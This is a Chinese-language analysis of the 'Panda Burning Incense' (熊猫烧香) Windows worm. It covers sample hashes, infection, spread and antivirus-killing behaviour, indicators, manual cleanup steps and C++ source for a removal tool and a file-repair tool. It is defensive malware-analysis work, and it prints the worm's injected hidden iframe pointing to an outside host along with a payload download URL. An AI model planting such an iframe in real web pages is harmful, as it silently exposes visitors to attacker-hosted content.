目录
[1.1 样本信息](#1.1 样本信息)
[1.2 测试环境及工具](#1.2 测试环境及工具)
[1.3 分析目标](#1.3 分析目标)
[2.1 主要行为](#2.1 主要行为)
[2.1.1 恶意程序对用户造成的危害](#2.1.1 恶意程序对用户造成的危害)
[2.2 恶意代码分析](#2.2 恶意代码分析)
[2.2.1 加固后的恶意代码树结构图(是否有加固)](#2.2.1 加固后的恶意代码树结构图(是否有加固))
[2.2.2 恶意程序的代码分析片段](#2.2.2 恶意程序的代码分析片段)
[3.1 提取病毒的特征,利用杀毒软件查杀](#3.1 提取病毒的特征,利用杀毒软件查杀)
[3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。](#3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。)
[3.3 编写自动查杀工具](#3.3 编写自动查杀工具)
[3.4 被感染文件修复工具的编写](#3.4 被感染文件修复工具的编写)
[3.5 总结](#3.5 总结)
前言
"熊猫烧香"病毒作为中国计算机病毒史上的典型案例,曾于2006年底至2007年初肆虐网络,造成大规模破坏。其独特的感染方式和强大的破坏力使其成为网络安全领域的重要研究对象。本文将从病毒的原理、传播方式、查杀方法及修复步骤等方面展开分析,帮助读者深入了解这一病毒及其应对策略。
一、样本概况
1.1 样本信息
病毒名称:(Nimaya)熊猫烧香
所属家族:Virus.Win32.Lamer.gx(卡巴斯基)
MD5 值:B8F8E75C9E77743A61BBEA9CCBCFFD5D
SHA1 值:188FC8FC580C0EA4BF8A8900A3D36471823C8923
SHA256:0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768
SSDeep: 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m CRC32:E63D45D3

病毒行为:
设置注册表自启动,删除服务,修改 PE 文件,自我复制,结束杀软进程,删除杀软启动项,局域网感染,下载病毒执行等。
被感染体特征:

被感染体行为:分离出病毒文件和被感染文件,创建病毒进程,其他行为同原病毒文件。
1.2 测试环境及工具
测试环境:VMvare14 windows7-32 系统
工具:火绒剑,ollydebug,IDA,Hash 计算工具,WSExplorer,010Editor
1.3 分析目标
主要对原病毒样本进行分析,解剖出各种恶意行为的代码。
二、具体行为分析
2.1 主要行为
运行后该病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入各个驱动器,将自身写入写入磁盘的根目录下,增加一个 Autorun.inf 文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载 ddos 程序进行恶意攻击。
通过云沙箱大概了解该病毒的执行流程如下图:


被感染的程序主要行为流程如下图:

同时,也可以快速了解各种网络请求如下图。

执行原病毒程序后会产生一个新的病毒进程,如 OD 视图所示:

通过火绒剑各种过滤可以大概发现有以下行为:修改启动项和文件隐藏属性

创建和修改 Desktop.ini 文件,写入时间,或设置只读属性及隐藏

注册病毒程序启动项,隐藏病毒文件 setup.exe 和 autorun.inf

偷偷请求网站链接


调试技巧:
使用 OD 动态调试样本,不让样本创建进程,修改 ZF 标志位改变 4082ED 跳转,以便调试之后的感染函数代码以及其他函数代码。如下图所示

现在开始列举熊猫烧香的各种恶意行为如下:行为 1:自我复制
遍历进程找到病毒进程(spo0lsv.exe)就退出并结束掉,CopyFile 到系统目录(C:\Windows\System32\drivers),然后就运行程序(spo0lsv.exe)。
代码位置:sub_40819C

如果运行的是被感染的程序就会执行如下代码:

创建批处理文件功能是判断 spo0lsv.exe 是否存在,从被感染的文件分裂出病毒程序重新执行。
行为 2:使用 net share 命令关闭管理共享
代码位置:sub_40CDEC

行为 3:停止杀软进程
与杀毒软件进行对抗,通过窗口名称或进程名称关闭软件。
代码位置:sub_4061B8


行为 4:删除安全类软件在注册表中的启动项
代码位置:sub_406E44

行为 5:注册表中增加病毒程序启动项
代码位置:TimerFunc 以及行为 6 截图中的代码

行为 6:修改注册表中隐藏文件的设置

行为 7:创建病毒进程请见行为 1 截图
行为 8:创建副本文件
创建行为一中的副本和下面的 Setup.exe 副本
代码位置:TimerFunc

行为 9:局域网传播
连接攻击目标的 139 或 445 端口后,匹配账户名和弱密码,连接成功将副本以 GameSetup.exe 的文件名复制到局域网其他电脑中,具体如下图等。
账户如下:

弱密码如下:

连接攻击 139,445 端口如下:代码位置:sub_40B864

复制 GameSetup.exe 文件名的病毒:
代码位置:sub_40A928

行为 10;感染本地 exe,pif,src,html,asp 等文件
代码位置:sub_409348

行为 11:尝试删除 GHO 备份文件
代码位置:sub_409348

行为 12:禁用删除软件相关服务请见见行为 4 截图
行为 13:下载恶意代码,木马等代码位置:sub_40C9B0

代码位置:sub_40C5E0

2.1.1 恶意程序对用户造成的危害
1、复制病毒体,伪造正常程序

2、感染破坏系统中 exe,com,pif,src,html,asp 等文件,被感染执行体还有传染性。其中页面文件写进的脚本会诱导打开别的网站,注入脚本为
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>。


3、中止大量的反病毒软件进程,删除其服务及启动项,并且会删除扩展名为 gho 的备份文件,设置隐藏文件恢复显示不了。

4、局域网传播感染

5、下载恶意代码并执行

6、向外发包,连接局域网中其他机器。



2.2 恶意代码分析
2.2.1 加固后的恶意代码树结构图(是否有加固)
分析样本已经脱过壳,不过程序执行前部分有不少人为留下的信息,这些应该是病毒制作者与反病毒人员的交流信号,可以忽略。这里可以展示一下该病毒程序的恶意代码执行流程结构图。

2.2.2 恶意程序的代码分析片段
1、总体伪代码和汇编代码框架


2、病毒的自我复制和执行


2、全盘病毒感染和感染个体的细节
遍历磁盘感染:


感染个体文件细节:
代码位置:sub_407F00


先把目标文件读到内存,获取文件名和大小。复制病毒到感染路径覆盖原文件,然后将被感染文件的内容追加到复制出来的病毒文件中后面,接着追加感染标识WhBoy+原文件名+随机数。分析如下:




感染网页文件如下:


OD中调试被解密的密串和解密之后的脚本代码

4、删除 GHO 备份
5、定时器感染主要操作
6、局域网感染操作
尝试连接局域网目标 139 端口:
尝试连接局域网目标445端口:
7、定时器实现病毒自我保护
伪代码如下:
对应汇编代码部分如下:
关闭杀软类软件程序:
关闭杀软类软件进程:
复制病毒的伪造程序 spo0lsv.exe:
三、解决方案(或总结)
3.1 提取病毒的特征,利用杀毒软件查杀
特征网络 ip:
(1)www.tom.com/
(2)www.163.com/
(3)www.sohu.com/
(4)www.yahoo.com/
(5)www.ac86.cn/66/up.txt
特征字符串:
(1)WhBoy
(2)SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Ad
vanced\\Folder\\Hidden\\SHOWALL\\CheckedValue
(3)感谢艾玛,mopery,海色の月,对此木马的关注!~
(4)`uup2..uxe`tm/vhjnx.fdu/ nsm&uyt
(5)=nb{end'w{g>ispy>,.ps~*bb?2'gm.12&mmeb|'lwl's``wi:&9&#ibmn
lw<%4+:?.nb{end9
(6)d}tq;*&tyld|l. lboy'blt.vj{l'|}|
可以通过本文最后的查杀或修复文件工具算法实现匹配特征值(CRC32 或字
符串)进行查杀,也可以使用相应查杀工具进行杀毒。
3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。
1、断开网络
2、打开火绒剑结束病毒进程,防止病毒阻止 regedit 的运行
没有火绒剑的话,任务管理器无法启动关闭进程。或者可以在 cmd 中利用
"tasklist"命令进行查看。通过命令"taskkill /f /im 进程 ID"杀掉病毒
进程。
3、打开注册表,打开
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CrrentVersion\Run",将
svcshare 的项目删除。也可以可以在"运行"中输入"msconfig"取消它的启
动项。
4、恢复被修改的"显示所有文件和文件夹"设置。输入命令"regedit",
修改注册表项。
5、删除硬盘各分区根目录下的"setup.exe"和"autorun.inf"文件
比如 C 盘,不能直接双击打开,使用命令 dir /ah 查看隐藏文件,del /ah
/f 文件名删除隐藏文件,
还有如下图的残留文件也可以删除。
6、删除掉 C:\Windows\system32\drivers 下的 spoclsv.exe 文件后立即重
启。
5、安装杀毒软件进行全面查杀
6、由于破坏的文件太多,且打开被感染过的软件还是会重复中毒,需重新
安装恢复已经破坏的文件。
3.3 编写自动查杀工具
主要参考姜晔实现算法,代码实现如下:
cpp
#include "KillingTools.h"
#include <iostream>
using namespace std;
//根据进程名称获取进程ID
DWORD GetProcessIDByName(const char* pName){
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) {
return NULL;
}
PROCESSENTRY32 pe = { sizeof(pe) };
for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
USES_CONVERSION;
if (strcmp(W2CA(pe.szExeFile), pName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
}
CloseHandle(hSnapshot);
return 0;
}
//提升权限
BOOL EnablePrivilege(LPCTSTR szPrivilege, BOOL fEnable) {
BOOL fOk = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivilege, &tp.Privileges[0].Luid);
tp.Privileges->Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
//计算散列值
DWORD CRC32(BYTE* ptr, DWORD Size){
DWORD crcTable[256], crcTmp1;
//动态生成CRC-32表
for (int i = 0; i < 256; i++){
crcTmp1 = i;
for (int j = 8; j > 0; j--){
if (crcTmp1 & 1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
else crcTmp1 >>= 1;
}
crcTable[i] = crcTmp1;
}
//计算CRC32值
DWORD crcTmp2 = 0xFFFFFFFF;
while (Size--){
crcTmp2 = ((crcTmp2 >> 8) & 0x00FFFFFF) ^ crcTable[(crcTmp2 ^ (*ptr)) & 0xFF];
ptr++;
}
return (crcTmp2 ^ 0xFFFFFFFF);
}
//遍历删除Desktop_.ini
DWORD WINAPI FindFiles(LPVOID lpszPath){
WIN32_FIND_DATA stFindFile;
HANDLE hFindFile;
// 扫描路径
char szPath[MAX_PATH];
char szFindFile[MAX_PATH];
char szSearch[MAX_PATH];
char *szFilter;
int len;
int ret = 0;
szFilter = "*.*";
lstrcpy((LPWSTR)szPath, (LPCWSTR)lpszPath);
len = lstrlen((LPCWSTR)szPath);
if (szPath[len - 1] != '\\'){
szPath[len] = '\\';
szPath[len + 1] = '\0';
}
lstrcpy((LPWSTR)szSearch, (LPCWSTR)szPath);
lstrcat((LPWSTR)szSearch, (LPCWSTR)szFilter);
hFindFile = FindFirstFile((LPCWSTR)szSearch, &stFindFile);
if (hFindFile != INVALID_HANDLE_VALUE){
do{
lstrcpy((LPWSTR)szFindFile, (LPCWSTR)szPath);
lstrcat((LPWSTR)szFindFile, stFindFile.cFileName);
if (stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
if (stFindFile.cFileName[0] != '.'){
FindFiles(szFindFile);
}
}
else{
if (!lstrcmp(stFindFile.cFileName, L"Desktop_.ini")){
// 去除文件的隐藏、系统以及只读属性
DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szFindFile);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes((LPCWSTR)szFindFile, dwFileAttributes);
// 删除Desktop_.ini
BOOL bRet = DeleteFile((LPCWSTR)szFindFile);
cout << szFindFile << endl;
if (bRet){
cout << "被删除" << endl;
}
else{
cout << "无法删除" << endl;
}
}
}
ret = FindNextFile(hFindFile, &stFindFile);
} while (ret != 0);
}
FindClose(hFindFile);
return 0;
}
int main() {
BOOL bRet = FALSE;
DWORD dwPid = 0;//进程ID
// 提升权限
BOOL bRet1 = EnablePrivilege(SE_DEBUG_NAME, TRUE);
if (bRet1 == FALSE){
cout << "提升权限失败" << endl;
}
else{
cout << "提升权限成功!" << endl;
}
dwPid = GetProcessIDByName("spo0lsv.exe");
if (dwPid != 0) { bRet = 1; }
// 结束spo0lsv.exe进程,并删除病毒程序本身
if (bRet == TRUE){
cout << "查找系统病毒进程..." << endl;
cout << "系统中存在病毒进程:spo0lsv.exe" << endl;
cout << "准备进行查杀..." << endl;
// 打开并尝试结束病毒进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == INVALID_HANDLE_VALUE){
cout << "无法结束病毒进程" << endl;
return 0;
}
bRet = TerminateProcess(hProcess, 0);
if (bRet == FALSE){
cout << "无法结束病毒进程" << endl;
return 0;
}
cout << "病毒进程已经结束" << endl;
CloseHandle(hProcess);
}
else{
cout << "系统中不存在spo0lsv.exe病毒进程" << endl;
}
Sleep(10);
// 查杀磁盘中是否存在名为spo0lsv.exe的病毒文件
char szSysPath[MAX_PATH] = { 0 };
GetSystemDirectory((LPWSTR)szSysPath, MAX_PATH);
lstrcat((LPWSTR)szSysPath, L"\\drivers\\spo0lsv.exe");
cout << "检查硬盘中是否存在spo0lsv.exe文件..." << endl;
if (GetFileAttributes((LPWSTR)szSysPath) == 0xFFFFFFFF){
cout << "spo0lsv.exe病毒文件不存在" << endl;
}
else{
cout << "spo0lsv.exe病毒文件存在,正在计算散列值" << endl;
HANDLE hFile = CreateFile((LPWSTR)szSysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE){
cout << "Create Error" << endl;
return 0;
}
DWORD dwSize = GetFileSize(hFile, NULL);
if (dwSize == 0xFFFFFFFF){
cout << "GetFileSize Error" << endl;
return 0;
}
BYTE *pFile = (BYTE*)malloc(dwSize);
if (pFile == NULL){
cout << "malloc Error" << endl;
return 0;
}
DWORD dwNum = 0;
ReadFile(hFile, pFile, dwSize, &dwNum, NULL);
// 计算spo0lsv.exe的散列值
DWORD dwCrc32 = CRC32(pFile, dwSize);
if (pFile != NULL){
free(pFile);
pFile = NULL;
}
CloseHandle(hFile);
// 3862775251是"熊猫烧香"病毒的散列值
if (dwCrc32 != 3862775251){
cout << "spo0lsv.exe比较校验失败" << endl;
}
else{
cout << "spo0lsv.exe比较校验成功,正在删除..." << endl;
// 去除文件的隐藏、系统以及只读属性
DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSysPath);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes((LPCWSTR)szSysPath, dwFileAttributes);
// 删除spo0lsv.exe
bRet = DeleteFile((LPCWSTR)szSysPath);
if (bRet){
cout << "spoclsv.exe病毒被删除!" << endl;
}
else{
cout << "spoclsv.exe病毒无法删除" << endl;
}
}
}
// 删除每个盘符下的setup.exe与autorun.inf,以及Desktop_.ini
char szDriverString[MAXBYTE] = { 0 };
char *pTmp = NULL;
//获取字符串类型的驱动器列表
GetLogicalDriveStrings(MAXBYTE, (LPWSTR)szDriverString);
pTmp = szDriverString;
while (*pTmp){
char szAutorunPath[MAX_PATH] = { 0 };
char szSetupPath[MAX_PATH] = { 0 };
lstrcat((LPWSTR)szAutorunPath, (LPCWSTR)pTmp);
lstrcat((LPWSTR)szAutorunPath, L"autorun.inf");
lstrcat((LPWSTR)szSetupPath, (LPCWSTR)pTmp);
lstrcat((LPWSTR)szSetupPath, L"setup.exe");
if (GetFileAttributes((LPCWSTR)szSetupPath) == 0xFFFFFFFF){
cout << pTmp << " setup.exe病毒文件不存在" << endl;
}
else{
cout << pTmp << " setup.exe病毒文件存在,正在进行计算校验和..." << endl;
HANDLE hFile = CreateFile((LPCWSTR)szSetupPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE){
cout << "Create Error" << endl;
return 0;
}
DWORD dwSize = GetFileSize(hFile, NULL);
if (dwSize == 0xFFFFFFFF){
cout << "GetFileSize Error" << endl;
return 0;
}
BYTE *pFile = (BYTE*)malloc(dwSize);
if (pFile == NULL){
cout << "malloc Error" << endl;
return 0;
}
DWORD dwNum = 0;
ReadFile(hFile, pFile, dwSize, &dwNum, NULL);
DWORD dwCrc32 = CRC32(pFile, dwSize);
if (pFile != NULL){
free(pFile);
pFile = NULL;
}
CloseHandle(hFile);
if (dwCrc32 != 3862775251){
cout << "比较校验失败" << endl;
}
else{
cout << "比较校验成功,正在删除..." << endl;
// 去除文件的隐藏、系统以及只读属性
DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSetupPath);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes((LPCWSTR)szSetupPath, dwFileAttributes);
// 删除setup.exe
bRet = DeleteFile((LPCWSTR)szSetupPath);
if (bRet){
cout << pTmp << " setup.exe病毒已删除!" << endl;
}
else{
cout << pTmp << " setup.exe病毒无法删除" << endl;
}
}
}
// 去除文件的隐藏、系统以及只读属性
DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szAutorunPath);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes((LPCWSTR)szAutorunPath, dwFileAttributes);
// 删除autorun.inf
bRet = DeleteFile((LPCWSTR)szAutorunPath);
if (bRet){
cout << pTmp << " autorun.inf已删除!" << endl;
}
else{
cout << pTmp << " autorun.inf不存在或无法删除" << endl;
}
// 删除Desktop_.ini
FindFiles(pTmp);
// 检查下一个盘符
pTmp += 4;
}
// 修复注册表内容,删除病毒启动项并修复文件的隐藏显示
cout << "正在检查注册表..." << endl;
// 首先检查启动项
TCHAR RegRun[] = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
HKEY hKeyHKCU = NULL;
LONG lSize = MAXBYTE;
char cData[MAXBYTE] = { 0 };
long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCWSTR)RegRun, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKCU);
if (lRet == ERROR_SUCCESS){
lRet = RegQueryValueEx(hKeyHKCU, L"svcshare", NULL, NULL, (unsigned char *)cData, (unsigned long *)&lSize);
if (lRet == ERROR_SUCCESS){
if (lstrcmp((LPCWSTR)cData, L"C:\\WINDOWS\\system32\\drivers\\spo0lsv.exe") == 0){
cout << "注册表启动项中存在病毒信息项" << endl;
}
lRet = RegDeleteValue(hKeyHKCU, L"svcshare");
if (lRet == ERROR_SUCCESS){
cout << "注册表启动项中的病毒信息已删除!" << endl;
}
else{
cout << "注册表启动项中的病毒信息无法删除" << endl;
}
}
else{
cout << "注册表启动项中不存在病毒信息" << endl;
}
RegCloseKey(hKeyHKCU);
}
else{
cout << "注册表启动项信息读取失败" << endl;
}
// 接下来修复文件的隐藏显示,需要将CheckedValue的值设置为1
TCHAR RegHide[] = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");
HKEY hKeyHKLM = NULL;
DWORD dwFlag = 1;
long lRetHide = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCWSTR)RegHide, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKLM);
if (lRetHide == ERROR_SUCCESS){
cout << "检测注册表的文件隐藏选项..." << endl;
if (ERROR_SUCCESS == RegSetValueEx(
hKeyHKLM, //subkey handle
L"CheckedValue", //value name
0, //must be zero
REG_DWORD, //value type
(CONST BYTE*)&dwFlag, //pointer to value data
4)) //length of value data
{
cout << "注册表修复完毕!" << endl;
}
else{
cout << "无法恢复注册表的文件隐藏选项" << endl;
}
}
cout << "病毒初步查杀完成,请使用专业杀毒软件进行全面扫描!" << endl;
system("pause");
return 0;
}
实现效果如下:
实现功能有:提升权限查杀病毒进程,遍历盘符删除病毒文件或自动运行脚 本,以及删除病毒的注册表启动项和修改回来设置的文件隐藏选项。
3.4 被感染文件修复工具的编写
通过上面详细的分析已经知道,该熊猫烧香病毒感染 exe 等非网页文件时,只是复制了一份以被感染文件命名的病毒文件,在其后面追加被感染文件的内容,后面再加上感染标志。而网页文件只是简单的在其原文件的末尾添加了一段 脚本代码。
由此我们也容易使用 010Editor 工具进行手工还原文件。这里我尝试编写一 个恢复单个被感染 exe 文件的小例子。例如如下图恢复被感染程序 Exam1.exe, RecoverFiles.exe 是编写的修复工具。如果想实现全盘修复,需要自己遍历盘 符和文件夹各文件。修复工具效果如下:
RecoverFiles.exe 执行之前:
RecoverFiles.exe 执行之后:
Exam1.exe 修复完还能正常运行:
实现代码如下:
cpp
#include <stdio.h>
#include "stdlib.h"
#include <windows.h>
//str1中寻找str2的位置
int findsub(char *str1, char *str2, long sizes)
{
int i = 0, j = 0;
while (sizes - i) //多少个字符长度就执行多少次
{
for (; str1[i] != str2[0]; i++);//后面每个字符比较都不相等就i++
if (str1[i] == str2[0])//判断首次相等
{
for (j = 0; str1[i + j] == str2[j]; j++);//后面每个字符比较都相等就j++
if (str2[j] == '\0')//直到把字符串2都比较完都相等
return i + 1; // 返回字符串2中出现字符串1的第一个位置
}
i++; //不相等就继续往后走
}
return -1;//如果没有找到合适的返回-1.
}
//恢复被感染文件为正常文件
void recover(int pos1, int pos2) {
FILE *in, *out;
char ch;
//打开源文件Exam1.exe
if ((in = fopen("Exam1.exe", "rb")) == NULL)
{
printf("The file %s can not be opened.\n", "Exam1.exe");
return;
}
//创建修复文件Exam2.exe
if ((out = fopen("Exam2.exe", "wb")) == NULL)
{
printf("The file %s can not be opened.\n", "Exam2.exe");
return;
}
int i = 0;
while (!feof(in))//判断文本结束
{
ch = fgetc(in);//读取一个字符
if (ferror(in))
{
printf("read error!\n");
clearerr(in);
}
else
{
//写入特定位置的字符
if (pos1 <= i&&i <= pos2)
fputc(ch, out);
i++;//移动位置
if (ferror(out))//ferror函数检查输出
{
printf("write error!\n");
//文件错误标志和文件结束标志置为0
clearerr(out);
}
}
}
//关闭文件流
fclose(in);
fclose(out);
}
void main()
{
FILE *f = fopen("Exam1.exe", "rb");
fseek(f, 0, SEEK_END);
long fsize = ftell(f);//获取源文件大小
fseek(f, 0, SEEK_SET);
fclose(f);
//用于存储源文件内容
char *string = (char*)malloc(fsize + 1);
FILE *in, *out;
char ch;
if ((in = fopen("Exam1.exe", "rb")) == NULL)
{
printf("The file %s can not be opened.\n", "Exam1.exe");
return;
}
int i = 0;
while (!feof(in))
{
ch = fgetc(in);
if (ferror(in))
{
printf("read error!\n");
clearerr(in);
}
else
{
//一个个字符保存
string[i] = ch;
i++;
}
}
fclose(in);
//保存正常文件的MZ头位置
int count1 = findsub(string, "This", fsize + 1) - 79;
//保存感染标志位WhBoyExam1的位置
int count2 = findsub(string, "WhBoyExam1", fsize + 1) - 2;
//开始修复文件
recover(count1, count2);
//释放内存
delete string;
//删除病毒文件
DeleteFile(L"Exam1.exe");
system("pause");
}
3.5 总结
熊猫烧香是蠕虫病毒的变种,Delphi 语言编写,本文研究的病毒版本中,它 拥有自我复制,本地感染和局域网感染的能力,甚至感染网页代码。感染寄生于 被感染文件,执行被感染文件时会分离出病毒程序并执行。病毒运行时存在关闭 安全软件类进程,关闭并删除安全软件相关服务,启动项,删除 GHO 系统备份文 件,更换软件图标等动作。本次分析居于环境,时间问题和个人能力有限,不能 一一详尽还原病毒执行流程细节,还望各位多多谅解,多多指导!